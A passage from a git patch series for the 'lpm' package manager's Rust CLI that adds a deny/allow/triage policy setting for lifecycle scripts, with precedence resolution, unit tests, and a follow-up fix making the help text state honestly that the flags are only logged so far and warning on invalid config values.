dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"autoBuild":true}}}"#, - ) - .unwrap(); - - assert!(read_auto_build_config(dir.path())); - } - - #[test] - fn read_auto_build_config_defaults_false_for_missing_or_invalid_json() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write(dir.path().join("package.json"), r#"{"name":"demo"}"#).unwrap(); - assert!(!read_auto_build_config(dir.path())); - - std::fs::write(dir.path().join("package.json"), "{not json").unwrap(); - assert!(!read_auto_build_config(dir.path())); - } + // Phase 46 P1: the two `read_auto_build_config_*` tests were + // removed alongside the ad-hoc helper. Equivalent coverage lives + // in `script_policy_config::tests::from_package_json_reads_all_four_keys` + // and `::from_package_json_missing_file_returns_defaults` and + // `::from_package_json_malformed_json_returns_defaults`. /// Build a PackageMetadata with the given version strings and latest tag. fn make_metadata(versions: &[&str], latest: &str) -> lpm_registry::PackageMetadata { diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index 92af0ee5..2d16747a 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -24,6 +24,7 @@ mod provenance; mod quality; mod save_config; mod save_spec; +mod script_policy_config; pub mod security_check; mod sigstore; mod swift_manifest; @@ -215,6 +216,43 @@ enum Commands { #[arg(long)] auto_build: bool, + /// Phase 46: lifecycle-script policy override for this invocation. + /// + /// Canonical form. Values: `deny` (default; all scripts blocked + /// until `lpm approve-builds`), `allow` (every package trusted; + /// `lpm build` runs everything in the sandbox), `triage` + /// (four-layer tiered gate; greens auto-approve where the + /// sandbox is present — P6+). + /// + /// Precedence: this flag > `package.json > lpm > scriptPolicy` + /// > `~/.lpm/config.toml` key `script-policy` > default (deny). + /// + /// Mutually exclusive with `--yolo` and `--triage`. + #[arg( + long, + value_name = "deny|allow|triage", + conflicts_with_all = ["yolo", "triage_alias"], + )] + policy: Option, + + /// Phase 46: alias for `--policy=allow`. "Run every script + /// without gating." npm-classic behavior; scripts still run + /// inside the filesystem sandbox (P5+). For teams that have + /// audited their deps via other means. + /// + /// Mutually exclusive with `--policy` and `--triage`. + #[arg(long, conflicts_with_all = ["policy", "triage_alias"])] + yolo: bool, + + /// Phase 46: alias for `--policy=triage`. Deterministic tiered + /// gate — greens auto-approve, ambers go to manual review, + /// reds blocked unconditionally. Optional LLM advisor if one + /// is configured (P8+). + /// + /// Mutually exclusive with `--policy` and `--yolo`. + #[arg(long = "triage", id = "triage_alias", conflicts_with_all = ["policy", "yolo"])] + triage_alias: bool, + /// Phase 32 Phase 2: filter workspace members. Same grammar as /// `lpm run --filter`. Only meaningful when adding packages — bare /// `lpm install` (no packages) ignores this flag. @@ -713,6 +751,24 @@ enum Commands { /// Refuse to run ANY scripts, even trusted ones. #[arg(long)] deny_all: bool, + + /// Phase 46: lifecycle-script policy override (see `lpm install` + /// for full semantics). Mutually exclusive with `--yolo` / + /// `--triage`. + #[arg( + long, + value_name = "deny|allow|triage", + conflicts_with_all = ["build_yolo", "build_triage_alias"], + )] + policy: Option, + + /// Phase 46: alias for `--policy=allow`. + #[arg(long = "yolo", id = "build_yolo", conflicts_with_all = ["policy", "build_triage_alias"])] + yolo: bool, + + /// Phase 46: alias for `--policy=triage`. + #[arg(long = "triage", id = "build_triage_alias", conflicts_with_all = ["policy", "build_yolo"])] + triage_alias: bool, }, /// Health check: verify auth, registry, store, project state. @@ -1812,6 +1868,9 @@ async fn async_main() -> Result<()> { global, replace_bin, alias, + policy, + yolo, + triage_alias, } => { // Phase 37 M3.2: route `lpm install --global` / `-g` to // the persistent IsolatedInstall pipeline. M3.2 ships @@ -1901,6 +1960,30 @@ async fn async_main() -> Result<()> { let cfg = commands::config::GlobalConfig::load(); let eff_allow_new = allow_new || cfg.get_bool("allowNew").unwrap_or(false); + // Phase 46 P1: resolve the effective script-policy through + // the precedence chain (CLI > package.json > global > + // default). Clap enforces mutual exclusion between the + // three flags, so `collapse_policy_flags` only needs to + // validate the `--policy` string payload. In P1 the + // resolved value is logged but not yet branched on — the + // actual tier-aware execution change lands in P6 (after + // the sandbox in P5). `allow` mode likewise plumbs + // through to `run_with_options` in a later chunk; for now + // installs behave as `deny` regardless of this flag. + let effective_script_policy = { + let cli_override = script_policy_config::collapse_policy_flags( + policy.as_deref(), + yolo, + triage_alias, + ) + .map_err(lpm_common::LpmError::Script)?; + script_policy_config::resolve_script_policy(cli_override, &cwd) + }; + tracing::debug!( + "lpm install: effective script-policy = {}", + effective_script_policy.as_str() + ); + // Phase 33: build the SaveFlags struct from the per-command CLI // overrides. clap already enforces mutual exclusion between // `--exact`, `--tilde`, and `--save-prefix`, so at most one of @@ -2496,8 +2579,27 @@ async fn async_main() -> Result<()> { timeout, unsafe_full_env, deny_all, + policy, + yolo, + triage_alias, } => { let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; + // Phase 46 P1: resolve the effective script-policy through + // the precedence chain. Clap already enforced mutual- + // exclusion between `--policy`, `--yolo`, `--triage`, so + // at most one of the three is set per invocation. + // `lpm build` itself does not branch on the resolved value + // in P1 — tier-aware execution lands in P6. Logging the + // effective value here makes flag plumbing observable in + // CI runs today. + let cli_override = + script_policy_config::collapse_policy_flags(policy.as_deref(), yolo, triage_alias) + .map_err(lpm_common::LpmError::Script)?; + let effective = script_policy_config::resolve_script_policy(cli_override, &cwd); + tracing::debug!( + "lpm build: effective script-policy = {}", + effective.as_str() + ); commands::build::run( &cwd, &packages, diff --git a/crates/lpm-cli/src/script_policy_config.rs b/crates/lpm-cli/src/script_policy_config.rs new file mode 100644 index 00000000..92169dd6 --- /dev/null +++ b/crates/lpm-cli/src/script_policy_config.rs @@ -0,0 +1,450 @@ +//! Phase 46 P1 — `script-policy` config loader and [`ScriptPolicy`] enum. +//! +//! Consolidates the pre-existing ad-hoc script-related readers +//! ([`crate::commands::install::read_auto_build_config`] in install.rs +//! and the `read_deny_all_config` helper in build.rs) into a single +//! typed loader so Phase 46's new `scriptPolicy` key doesn't spawn a +//! third ad-hoc reader. Each call returns a [`ScriptPolicyConfig`] +//! with all four `package.json > lpm > scripts` keys and the +//! `scriptPolicy` key, parsed once. +//! +//! ## Precedence (highest wins) +//! +//! 1. CLI flag on the install / build command: +//! `--policy=deny|allow|triage` (canonical) or +//! `--yolo` (alias for `--policy=allow`) or +//! `--triage` (alias for `--policy=triage`). +//! Mutually-exclusive validation is enforced at the clap layer. +//! 2. `package.json > lpm > scriptPolicy` (per-project, team-shared). +//! 3. `~/.lpm/config.toml` key `script-policy` (per-user, this machine). +//! 4. Default: [`ScriptPolicy::Deny`]. +//! +//! ## String coercion policy (Phase 33 precedent) +//! +//! `lpm config set script-policy triage` writes the value as a string +//! under the hood (see [`crate::commands::config`]'s generic `set` +//! handler). The reader therefore accepts both native TOML strings and +//! the canonical kebab-case form. Invalid values produce a clear +//! error pointing at the offending source (file path or CLI flag) so +//! the user can fix it without reading code. + +use crate::commands::config::GlobalConfig; +use serde::{Deserialize, Serialize}; +use std::path::Path; + +/// Which gate to apply to lifecycle scripts during `lpm build` / +/// autoBuild flows. +/// +/// See [§5 of the Phase 46 plan](../DOCS/new-features/37-rust-client-RUNNER-VISION-phase46.md) +/// for the user-facing description of each mode. +/// +/// Wire/config format is kebab-case: `"deny"` | `"allow"` | `"triage"`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize, Default)] +#[serde(rename_all = "kebab-case")] +pub enum ScriptPolicy { + /// **Default.** Every lifecycle script is blocked at install time + /// and requires explicit `lpm approve-builds`. Equivalent to the + /// pre-Phase-46 behavior. + #[default] + Deny, + /// Every package trusted. `lpm build` runs every lifecycle script + /// without the triage gate, via the existing two-phase pipeline. + /// Scripts still execute at `lpm build` time (or autoBuild- + /// triggered), never at install. + Allow, + /// Four-layer tiered gate. Greens become eligible for auto- + /// execution in the sandbox (P6); ambers flow to layers 2/3/4 + /// (trust manifest, provenance + cooldown, optional LLM triage); + /// reds block unconditionally and never reach the LLM. + Triage, +} + +impl ScriptPolicy { + /// Parse a kebab-case string. Accepts the exact wire forms + /// (`deny` | `allow` | `triage`); anything else errors. + pub fn parse(s: &str) -> Result { + match s { + "deny" => Ok(Self::Deny), + "allow" => Ok(Self::Allow), + "triage" => Ok(Self::Triage), + other => Err(ScriptPolicyParseError { + input: other.to_string(), + }), + } + } + + /// Canonical kebab-case string form. + pub fn as_str(&self) -> &'static str { + match self { + Self::Deny => "deny", + Self::Allow => "allow", + Self::Triage => "triage", + } + } +} + +/// Error from [`ScriptPolicy::parse`]. +/// +/// Carries the offending input so the caller can include it in a +/// source-specific message (`"in package.json: got 'foo'"` vs. +/// `"in --policy flag: got 'foo'"`). +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ScriptPolicyParseError { + pub input: String, +} + +impl std::fmt::Display for ScriptPolicyParseError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "invalid script-policy value '{}' (expected one of: deny, allow, triage)", + self.input, + ) + } +} + +impl std::error::Error for ScriptPolicyParseError {} + +/// Consolidated read of `package.json > lpm > {scriptPolicy, scripts}`. +/// +/// Single source of truth for install.rs, build.rs, and any future +/// consumer. Replaces the previous two separate ad-hoc readers +/// (`read_auto_build_config`, `read_deny_all_config`) — each of those +/// callers migrates to this struct's accessors. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ScriptPolicyConfig { + /// `package.json > lpm > scriptPolicy`, if explicitly set. + /// `None` means "fall through to `~/.lpm/config.toml` then default". + /// A deliberate `"deny"` value parses to `Some(ScriptPolicy::Deny)` + /// so users can lock the default against a teammate's global + /// override. + pub policy: Option, + /// `package.json > lpm > scripts.autoBuild`. Defaults to `false`. + pub auto_build: bool, + /// `package.json > lpm > scripts.denyAll`. Kill-switch: when + /// `true`, scripts never run regardless of `policy`. Defaults to + /// `false`. + pub deny_all: bool, + /// `package.json > lpm > scripts.trustedScopes`. Glob patterns + /// like `@myorg/*` that auto-approve by scope. Defaults to empty. + pub trusted_scopes: Vec, +} + +impl ScriptPolicyConfig { + /// Read from `/package.json`. Missing file or + /// unreadable content yields [`Self::default`] (all keys absent or + /// at their defaults) — the install pipeline's own missing-manifest + /// handling surfaces the real error earlier; here we must return + /// something rather than panicking. + pub fn from_package_json(project_dir: &Path) -> Self { + let pkg_json_path = project_dir.join("package.json"); + let Ok(content) = std::fs::read_to_string(&pkg_json_path) else { + return Self::default(); + }; + let Ok(parsed) = serde_json::from_str::(&content) else { + return Self::default(); + }; + + let lpm = parsed.get("lpm"); + let scripts = lpm.and_then(|l| l.get("scripts")); + + let policy = lpm + .and_then(|l| l.get("scriptPolicy")) + .and_then(|v| v.as_str()) + .and_then(|s| ScriptPolicy::parse(s).ok()); + // Intentionally silent on parse failure: a malformed + // `scriptPolicy` here is equivalent to "not set" for precedence + // purposes, so we fall through to the global default. The + // canonical error path is the CLI flag (validated at clap + // time) and `lpm config` write-time validation in P9. + // Surfacing the error here would spam every install in the + // field until the user fixes their package.json; graceful + // fallthrough matches the existing `read_*_config` helpers' + // behavior. + + let auto_build = scripts + .and_then(|s| s.get("autoBuild")) + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + let deny_all = scripts + .and_then(|s| s.get("denyAll")) + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + let trusted_scopes = scripts + .and_then(|s| s.get("trustedScopes")) + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + + Self { + policy, + auto_build, + deny_all, + trusted_scopes, + } + } +} + +/// Collapse the three clap-layer flags (`--policy=`, `--yolo`, +/// `--triage`) into a single `Option` for the precedence +/// chain. +/// +/// Clap enforces mutual exclusion via `conflicts_with_all` on each +/// flag, so at most one is set per invocation. This helper therefore +/// trusts the single-value invariant and only validates the value of +/// the canonical `--policy` flag (where a bad string can still reach +/// us, e.g. `--policy=yolo`). +/// +/// Returns `Ok(None)` when none of the three flags is set (the caller +/// falls through to project / global / default). Returns +/// `Err(String)` when `--policy`'s value is not a known variant, with +/// a user-facing message that names both the offending input and the +/// accepted values. +pub fn collapse_policy_flags( + policy: Option<&str>, + yolo: bool, + triage_alias: bool, +) -> Result, String> { + // Clap's `conflicts_with_all` guarantees at most one is set. Honor + // the aliases first (they're booleans — no parse step needed). + if yolo { + return Ok(Some(ScriptPolicy::Allow)); + } + if triage_alias { + return Ok(Some(ScriptPolicy::Triage)); + } + match policy { + None => Ok(None), + Some(s) => ScriptPolicy::parse(s) + .map(Some) + .map_err(|e| format!("--policy: {e}")), + } +} + +/// Resolve the effective [`ScriptPolicy`] through the full precedence +/// chain (CLI > project > global > default). +/// +/// `cli_override` is `Some(policy)` iff the user passed exactly one of +/// `--policy=` / `--yolo` / `--triage` on this invocation. The +/// mutual-exclusion enforcement happens at the clap layer via +/// `conflicts_with_all`; this function trusts the single-value +/// guarantee. +/// +/// `project_dir` is the install root (or `lpm build` project dir). +/// `from_package_json` handles missing files gracefully. +pub fn resolve_script_policy( + cli_override: Option, + project_dir: &Path, +) -> ScriptPolicy { + if let Some(p) = cli_override { + return p; + } + let project = ScriptPolicyConfig::from_package_json(project_dir); + if let Some(p) = project.policy { + return p; + } + if let Some(p) = GlobalConfig::load() + .get_str("script-policy") + .and_then(|s| ScriptPolicy::parse(s).ok()) + { + return p; + } + ScriptPolicy::default() +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + fn write_pkg_json(dir: &Path, content: &str) { + std::fs::write(dir.join("package.json"), content).unwrap(); + } + + // ── ScriptPolicy parsing ────────────────────────────────────── + + #[test] + fn parse_accepts_canonical_kebab_forms() { + assert_eq!(ScriptPolicy::parse("deny").unwrap(), ScriptPolicy::Deny); + assert_eq!(ScriptPolicy::parse("allow").unwrap(), ScriptPolicy::Allow); + assert_eq!(ScriptPolicy::parse("triage").unwrap(), ScriptPolicy::Triage,); + } + + #[test] + fn parse_rejects_unknown_variants() { + assert!(ScriptPolicy::parse("yolo").is_err()); + assert!(ScriptPolicy::parse("safe").is_err()); + assert!(ScriptPolicy::parse("").is_err()); + assert!(ScriptPolicy::parse("DENY").is_err(), "case-sensitive"); + } + + #[test] + fn as_str_roundtrips_through_parse() { + for p in [ + ScriptPolicy::Deny, + ScriptPolicy::Allow, + ScriptPolicy::Triage, + ] { + assert_eq!(ScriptPolicy::parse(p.as_str()).unwrap(), p); + } + } + + #[test] + fn default_is_deny() { + assert_eq!(ScriptPolicy::default(), ScriptPolicy::Deny); + } + + // ── ScriptPolicyConfig loader ───────────────────────────────── + + #[test] + fn from_package_json_missing_file_returns_defaults() { + let dir = tempdir().unwrap(); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + assert_eq!(cfg.policy, None); + assert!(!cfg.auto_build); + assert!(!cfg.deny_all); + assert!(cfg.trusted_scopes.is_empty()); + } + + #[test] + fn from_package_json_empty_lpm_block_returns_defaults() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"name":"test","lpm":{}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + } + + #[test] + fn from_package_json_reads_all_four_keys() { + let dir = tempdir().unwrap(); + write_pkg_json( + dir.path(), + r#"{ + "name": "test", + "lpm": { + "scriptPolicy": "triage", + "scripts": { + "autoBuild": true, + "denyAll": false, + "trustedScopes": ["@myorg/*", "@internal/*"] + } + } + }"#, + ); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, Some(ScriptPolicy::Triage)); + assert!(cfg.auto_build); + assert!(!cfg.deny_all); + assert_eq!( + cfg.trusted_scopes, + vec!["@myorg/*".to_string(), "@internal/*".to_string()] + ); + } + + #[test] + fn from_package_json_script_policy_deny_is_explicit_not_none() { + // A user who writes `"scriptPolicy": "deny"` explicitly is + // locking the default against a teammate's global override. + // Distinguishing `Some(Deny)` from `None` is load-bearing. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "deny"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!( + cfg.policy, + Some(ScriptPolicy::Deny), + "explicit deny must not be indistinguishable from unset" + ); + } + + #[test] + fn from_package_json_invalid_script_policy_is_silent_none() { + // Graceful fallthrough (matches existing ad-hoc readers' + // behavior and avoids spamming every install in the field + // until the user fixes it). The error path is at the CLI flag + // + `lpm config` write-time. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "invalid"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, None); + } + + #[test] + fn from_package_json_malformed_json_returns_defaults() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), "{not valid json"); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + } + + #[test] + fn from_package_json_empty_trusted_scopes_array_yields_empty_vec() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scripts": {"trustedScopes": []}}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert!(cfg.trusted_scopes.is_empty()); + } + + #[test] + fn from_package_json_ignores_non_string_trusted_scopes() { + // Defensive: if someone writes `["ok", 42, null, "fine"]`, + // the non-strings are dropped rather than failing the whole load. + let dir = tempdir().unwrap(); + write_pkg_json( + dir.path(), + r#"{"lpm": {"scripts": {"trustedScopes": ["@ok/*", 42, null, "@fine/*"]}}}"#, + ); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!( + cfg.trusted_scopes, + vec!["@ok/*".to_string(), "@fine/*".to_string()] + ); + } + + // ── resolve_script_policy precedence ────────────────────────── + + #[test] + fn resolve_cli_override_wins() { + let dir = tempdir().unwrap(); + // Project says triage; CLI forces allow; CLI must win. + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let resolved = resolve_script_policy(Some(ScriptPolicy::Allow), dir.path()); + assert_eq!(resolved, ScriptPolicy::Allow); + } + + #[test] + fn resolve_project_wins_over_global() { + // Setting `HOME` to a temp dir isolates the global-config read; + // without a global config there, the project-level value must + // win on its own. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + // Clear HOME so GlobalConfig::load finds nothing. + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, dir.path()); + assert_eq!(resolved, ScriptPolicy::Triage); + } + + #[test] + fn resolve_default_when_nothing_set() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{}"#); + // Isolate HOME so any developer's real ~/.lpm/config.toml + // doesn't leak into this test. + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, dir.path()); + assert_eq!(resolved, ScriptPolicy::Deny); + } +} From 403a041cf7279738323f85ca80dedd597fadbf66 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 00:31:29 +0100 Subject: [PATCH 03/61] =?UTF-8?q?fix(phase-46):=20P1=20audit=20findings=20?= =?UTF-8?q?1=20+=202=20=E2=80=94=20honest=20help=20text=20+=20surface=20sc?= =?UTF-8?q?riptPolicy=20typos?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses two Medium findings from the third-round audit of the P1 CLI-surface commit (a15cbd3): Finding 1 — Help text promised behavior that doesn't exist yet. Previous copy on --policy / --yolo / --triage described execution semantics ("run every script without gating", "greens auto-approve in sandbox") that land in a later phase; today these flags are accepted, resolved, and logged only. Users running `lpm install --yolo` today would reasonably expect scripts to run and be confused when nothing changed. Rewrote help copy on both install and build to open with "Status in this build (Phase 46 P1): flag accepted and logged; does NOT change execution behavior yet" and follow with what each value *will* do. Lets CI / scripts opt in to future behavior now without misleading the current UX. Finding 2 — Invalid package.json > lpm > scriptPolicy silently ignored. Previous behavior: a typo in a team-shared manifest fell through to each developer's ~/.lpm/config.toml or the default, silently producing per-developer policy divergence. This is the wrong failure mode for shared config. ScriptPolicyConfig now carries `policy_parse_error: Option`: when `scriptPolicy` is present as a string but doesn't parse, this field holds the offending input (loader still returns `policy: None` so precedence falls through to global / default — the resolver's contract is unchanged). Install + build handlers check the field and emit `output::warn` with the value and accepted list when not in JSON mode, so a typo is user-visible on every install. Tested live: `package.json` with `"scriptPolicy": "invalid-typo"` produces: ▲ package.json > lpm > scriptPolicy: invalid value 'invalid-typo' (expected one of: deny, allow, triage); falling back to user config / default Architecture refactor: resolve_script_policy(cli, &Path) → resolve_script_policy(cli, &ScriptPolicyConfig). Callers now load the config once at handler entry, inspect policy_parse_error, then pass the loaded config to the resolver. De-duplicates the two loader calls per invocation and keeps warning-emission a caller concern (loader has no knowledge of JSON mode or color output). Tests: - Renamed from_package_json_invalid_script_policy_is_silent_none → ..._surfaces_parse_error; asserts both policy==None AND policy_parse_error==Some(input) - New from_package_json_valid_script_policy_has_no_parse_error - New from_package_json_absent_script_policy_has_no_parse_error - New resolve_ignores_parse_error_uses_fallthrough pins the resolver contract: parse-error does not block resolution - Existing resolve_* tests updated for new signature Finding 3 (helpers still use lenient name-only gate) is addressed in the next planned P1 chunk (helper migration) per the field-ownership discipline in the plan's §11 P1 scope. Full-workspace CI gate: clippy -D warnings clean, fmt clean, 18/18 script_policy_config tests pass. lpm-task filter::eval perf-threshold flakes under parallel load continue to be unrelated to these crates. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/main.rs | 92 ++++++++++---- crates/lpm-cli/src/script_policy_config.rs | 141 ++++++++++++++++----- 2 files changed, 177 insertions(+), 56 deletions(-) diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index 2d16747a..5f4c024f 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -218,11 +218,18 @@ enum Commands { /// Phase 46: lifecycle-script policy override for this invocation. /// - /// Canonical form. Values: `deny` (default; all scripts blocked - /// until `lpm approve-builds`), `allow` (every package trusted; - /// `lpm build` runs everything in the sandbox), `triage` - /// (four-layer tiered gate; greens auto-approve where the - /// sandbox is present — P6+). + /// **Status in this build (Phase 46 P1):** flag is accepted, + /// resolved through the precedence chain, and logged; it does + /// NOT change script-execution behavior yet. Installs under + /// any of the three values currently behave identically to + /// `--policy=deny`. Execution changes land with the tier-aware + /// gate + filesystem sandbox in a later phase. + /// + /// Values: `deny` (current default; scripts blocked until + /// `lpm approve-builds`), `allow` (will: run every script + /// without gating), `triage` (will: four-layer tiered gate — + /// greens auto-approved in sandbox, ambers to manual review, + /// reds blocked). /// /// Precedence: this flag > `package.json > lpm > scriptPolicy` /// > `~/.lpm/config.toml` key `script-policy` > default (deny). @@ -235,19 +242,19 @@ enum Commands { )] policy: Option, - /// Phase 46: alias for `--policy=allow`. "Run every script - /// without gating." npm-classic behavior; scripts still run - /// inside the filesystem sandbox (P5+). For teams that have - /// audited their deps via other means. + /// Phase 46: alias for `--policy=allow`. **Currently a no-op + /// that only logs the chosen policy** — the `allow`-mode + /// execution path lands with the sandbox in a later phase. + /// Accepting the flag now lets CI / scripts opt in to the + /// future behavior without a later rewrite. /// /// Mutually exclusive with `--policy` and `--triage`. #[arg(long, conflicts_with_all = ["policy", "triage_alias"])] yolo: bool, - /// Phase 46: alias for `--policy=triage`. Deterministic tiered - /// gate — greens auto-approve, ambers go to manual review, - /// reds blocked unconditionally. Optional LLM advisor if one - /// is configured (P8+). + /// Phase 46: alias for `--policy=triage`. **Currently a no-op + /// that only logs the chosen policy** — tiered-gate execution + /// lands with the sandbox in a later phase. /// /// Mutually exclusive with `--policy` and `--yolo`. #[arg(long = "triage", id = "triage_alias", conflicts_with_all = ["policy", "yolo"])] @@ -753,8 +760,10 @@ enum Commands { deny_all: bool, /// Phase 46: lifecycle-script policy override (see `lpm install` - /// for full semantics). Mutually exclusive with `--yolo` / - /// `--triage`. + /// for full semantics). **Currently a no-op that only logs the + /// chosen policy** — execution changes land in a later phase. + /// + /// Mutually exclusive with `--yolo` / `--triage`. #[arg( long, value_name = "deny|allow|triage", @@ -762,11 +771,13 @@ enum Commands { )] policy: Option, - /// Phase 46: alias for `--policy=allow`. + /// Phase 46: alias for `--policy=allow`. **Currently a no-op + /// that only logs the chosen policy.** #[arg(long = "yolo", id = "build_yolo", conflicts_with_all = ["policy", "build_triage_alias"])] yolo: bool, - /// Phase 46: alias for `--policy=triage`. + /// Phase 46: alias for `--policy=triage`. **Currently a no-op + /// that only logs the chosen policy.** #[arg(long = "triage", id = "build_triage_alias", conflicts_with_all = ["policy", "build_yolo"])] triage_alias: bool, }, @@ -1966,10 +1977,26 @@ async fn async_main() -> Result<()> { // three flags, so `collapse_policy_flags` only needs to // validate the `--policy` string payload. In P1 the // resolved value is logged but not yet branched on — the - // actual tier-aware execution change lands in P6 (after - // the sandbox in P5). `allow` mode likewise plumbs - // through to `run_with_options` in a later chunk; for now - // installs behave as `deny` regardless of this flag. + // actual tier-aware execution change lands with the + // sandbox in a later phase. + // + // Loading the config here (rather than inside + // `resolve_script_policy`) lets us surface a typo in + // `package.json > lpm > scriptPolicy` to the user: a + // team-shared manifest must not silently fall through to + // each developer's `~/.lpm/config.toml` on typos (see + // audit Finding 2). + let script_policy_cfg = + script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); falling back to \ + user config / default" + )); + } let effective_script_policy = { let cli_override = script_policy_config::collapse_policy_flags( policy.as_deref(), @@ -1977,7 +2004,7 @@ async fn async_main() -> Result<()> { triage_alias, ) .map_err(lpm_common::LpmError::Script)?; - script_policy_config::resolve_script_policy(cli_override, &cwd) + script_policy_config::resolve_script_policy(cli_override, &script_policy_cfg) }; tracing::debug!( "lpm install: effective script-policy = {}", @@ -2589,13 +2616,26 @@ async fn async_main() -> Result<()> { // exclusion between `--policy`, `--yolo`, `--triage`, so // at most one of the three is set per invocation. // `lpm build` itself does not branch on the resolved value - // in P1 — tier-aware execution lands in P6. Logging the - // effective value here makes flag plumbing observable in - // CI runs today. + // in P1 — tier-aware execution lands with the sandbox in + // a later phase. Loading the config here also surfaces + // typos in `package.json > lpm > scriptPolicy` instead of + // silently falling through (audit Finding 2). + let script_policy_cfg = + script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); falling back to \ + user config / default" + )); + } let cli_override = script_policy_config::collapse_policy_flags(policy.as_deref(), yolo, triage_alias) .map_err(lpm_common::LpmError::Script)?; - let effective = script_policy_config::resolve_script_policy(cli_override, &cwd); + let effective = + script_policy_config::resolve_script_policy(cli_override, &script_policy_cfg); tracing::debug!( "lpm build: effective script-policy = {}", effective.as_str() diff --git a/crates/lpm-cli/src/script_policy_config.rs b/crates/lpm-cli/src/script_policy_config.rs index 92169dd6..981b8d3b 100644 --- a/crates/lpm-cli/src/script_policy_config.rs +++ b/crates/lpm-cli/src/script_policy_config.rs @@ -113,11 +113,18 @@ impl std::error::Error for ScriptPolicyParseError {} /// callers migrates to this struct's accessors. #[derive(Debug, Clone, Default, PartialEq, Eq)] pub struct ScriptPolicyConfig { - /// `package.json > lpm > scriptPolicy`, if explicitly set. - /// `None` means "fall through to `~/.lpm/config.toml` then default". - /// A deliberate `"deny"` value parses to `Some(ScriptPolicy::Deny)` - /// so users can lock the default against a teammate's global - /// override. + /// `package.json > lpm > scriptPolicy`, if explicitly set AND + /// parsed successfully. `None` means "fall through to + /// `~/.lpm/config.toml` then default". A deliberate `"deny"` + /// value parses to `Some(ScriptPolicy::Deny)` so users can lock + /// the default against a teammate's global override. + /// + /// **Invalid values**: when `scriptPolicy` is present as a string + /// but doesn't parse (typo, wrong case, etc.), this field is + /// `None` AND [`Self::policy_parse_error`] holds the offending + /// input. Loader callers are expected to surface the error (via + /// [`crate::output::warn`] in non-JSON mode) so a shared-repo + /// typo doesn't silently produce per-developer policy divergence. pub policy: Option, /// `package.json > lpm > scripts.autoBuild`. Defaults to `false`. pub auto_build: bool, @@ -128,6 +135,17 @@ pub struct ScriptPolicyConfig { /// `package.json > lpm > scripts.trustedScopes`. Glob patterns /// like `@myorg/*` that auto-approve by scope. Defaults to empty. pub trusted_scopes: Vec, + /// The offending input when `scriptPolicy` was present as a string + /// but failed to parse. `None` when `scriptPolicy` was absent, + /// non-string, or parsed successfully. Callers surface this to the + /// user; the field is not consumed by the precedence resolver (an + /// unparseable value remains "unset" for precedence purposes, + /// matching the `policy: None` path). + /// + /// Separated from `policy` so consumers who only care about the + /// resolved value can ignore errors, while consumers responsible + /// for user-facing output can surface them. + pub policy_parse_error: Option, } impl ScriptPolicyConfig { @@ -148,19 +166,21 @@ impl ScriptPolicyConfig { let lpm = parsed.get("lpm"); let scripts = lpm.and_then(|l| l.get("scripts")); - let policy = lpm + // Policy is the one key where "present but invalid" is + // meaningfully different from "absent": a typo in a team- + // shared package.json otherwise produces silent per-developer + // divergence. Capture the offending input in + // `policy_parse_error` so callers can warn. + let raw_policy = lpm .and_then(|l| l.get("scriptPolicy")) - .and_then(|v| v.as_str()) - .and_then(|s| 